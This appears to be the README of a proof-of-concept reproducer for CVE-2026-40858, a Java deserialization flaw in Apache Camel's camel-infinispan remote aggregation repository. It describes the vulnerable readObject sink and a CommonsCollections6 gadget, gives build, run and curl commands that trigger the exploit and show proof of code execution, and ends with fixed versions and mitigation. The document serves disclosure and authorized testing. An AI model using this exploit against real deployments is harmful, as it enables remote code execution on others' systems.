
Reproducer for CVE-2026-40858 — Apache Camel camel-infinispan remote aggregation repository unsafe deserialization (RCE)
This project demonstrates a Java deserialization vulnerability in Apache Camel's camel-infinispan
component, tracked as CVE-2026-40858. The ProtoStream-based remote aggregation repository
serializes each aggregated Exchange into a remote Infinispan cache and, when it reads an entry back
(on get() / recover()), deserializes it with java.io.ObjectInputStream and no
ObjectInputFilter. An attacker who can write to the backing cache can plant a crafted serialized
object and obtain remote code execution the next time the repository reads that key.
Advisory: https://camel.apache.org/security/CVE-2026-40858.html
| Property | Value |
|---|---|
| Component | camel-infinispan (remote / HotRod aggregation repository) |
| Affected Class | org.apache.camel.component.infinispan.remote.DefaultExchangeHolderProtoAdapter → DefaultExchangeHolderUtils.deserialize(byte[]) |
| CWE | CWE-502: Deserialization of Untrusted Data |
| Impact | Remote Code Execution (RCE) |
| Affected Versions | From 4.0.0 before 4.14.7, from 4.15.0 before 4.18.2, from 4.19.0 before 4.20.0 |
| Fixed Versions | 4.14.7, 4.18.2, 4.20.0 |
| JIRA | CAMEL-23322 |
| Reporter | Feng Ning (Innora Pte. Ltd.) |
InfinispanRemoteAggregationRepository stores each Exchange as a DefaultExchangeHolder. With the
ProtoStream marshaller, that holder is adapted by DefaultExchangeHolderProtoAdapter, whose ProtoStream
field #1 is the holder serialized with a plain ObjectOutputStream. On the way back in, the adapter
rebuilds the holder by handing those bytes to DefaultExchangeHolderUtils.deserialize:
// DefaultExchangeHolderUtils.deserialize(byte[]) - affected version
static DefaultExchangeHolder deserialize(byte[] bytes) throws IOException, ClassNotFoundException {
ByteArrayInputStream bais = new ByteArrayInputStream(bytes);
ClassLoadingAwareObjectInputStream ois = new ClassLoadingAwareObjectInputStream(bais);
return (DefaultExchangeHolder) ois.readObject(); // NO ObjectInputFilter
}
ClassLoadingAwareObjectInputStream widens, rather than restricts, the set of resolvable classes, so
readObject() will instantiate any gadget chain present on the classpath. Because the bytes come
straight from the remote cache, anyone who can write that cache key controls the deserialization
stream — and the gadget fires during readObject(), before the value is ever cast to
DefaultExchangeHolder.
A route (or, as here, application code) uses the remote aggregation repository backed by an Infinispan server:
InfinispanRemoteConfiguration conf = new InfinispanRemoteConfiguration();
conf.setCacheContainerConfiguration(hotRodClientConfig); // points at the Infinispan server
InfinispanRemoteAggregationRepository repo =
new InfinispanRemoteAggregationRepository("camel-aggregation");
repo.setConfiguration(conf);
repo.setCamelContext(camelContext);
repo.start();
// ... during aggregation Camel calls repo.add(...) / repo.get(...) / repo.recover(...)
Any get() / recover() on a key whose stored value was tampered with triggers the sink.
The vulnerable Camel code runs in the application (on the host); the Infinispan server runs in Docker as the backing store the repository talks to. This mirrors how the repository is deployed in practice: the untrusted data lives in the shared cache.
CVE-2026-40858/
├── pom.xml # camel-infinispan 4.18.1 + commons-collections 3.2.1 (gadget)
├── docker-compose.yml # quay.io/infinispan/server:16.1 (the remote cache)
├── README.md
└── src/main/
├── java/com/example/
│ ├── Application.java
│ ├── InfinispanRepoService.java # builds + starts InfinispanRemoteAggregationRepository
│ ├── Gadget.java # CommonsCollections6 gadget, fired during readObject()
│ └── ExploitController.java # /exploit/attack: plants a gadget-bodied holder, then reads it
└── resources/
└── application.properties
Note on the PoC shortcut. A real attacker writes the malicious bytes directly into the shared Infinispan cache. To keep the reproducer self-contained,
/exploit/attackplants the value through the same repository (repo.add(...)with a gadget as the Exchange body) and then callsrepo.get(...)to trigger the read. The sink that executes the gadget is Camel's ownreadObject(), exactly as it would fire on any attacker-tampered cache entry.
docker compose up -d
# wait until ready:
curl -s -o /dev/null -w "%{http_code}\n" --retry-connrefused --retry 60 --retry-delay 1 \
http://localhost:11222/rest/v2/cache-managers/default/health/status # -> 200
The CommonsCollections6 gadget is assembled live via reflection into java.util, so the JVM must be
started with --add-opens java.base/java.util=ALL-UNNAMED:
mvn clean package -DskipTests
java --add-opens java.base/java.util=ALL-UNNAMED \
-jar target/cve-2026-40858-infinispan-0.0.1-SNAPSHOT.jar
curl -s http://localhost:8080/exploit/attack
# -> repo.get() returned: Exchange[...]
#
# >>> RCE proof — /tmp/pwned exists: true
/tmp/pwned is created by the gadget (touch /tmp/pwned) while the repository deserializes the planted
cache value.
docker compose down
rm -f /tmp/pwned
Any deployment that uses InfinispanRemoteAggregationRepository (ProtoStream marshalling) against a
cache an attacker can write to. Cache write access can come from a shared/multi-tenant Infinispan
cluster, a network-reachable HotRod endpoint, or any other producer that lands data in the same cache.
commons-collections:3.2.1).Upgrade to 4.14.7 / 4.18.2 / 4.20.0. The fix applies an ObjectInputFilter / class allow-list to
the holder deserialization, matching the hardening applied to the other Camel aggregation repositories
(camel-leveldb, camel-cassandraql, camel-jms) and to camel-mina / camel-netty.
Until upgrading:
This reproducer is provided for security research and authorized testing only, for a publicly disclosed and fixed vulnerability. Do not use it against systems without explicit permission.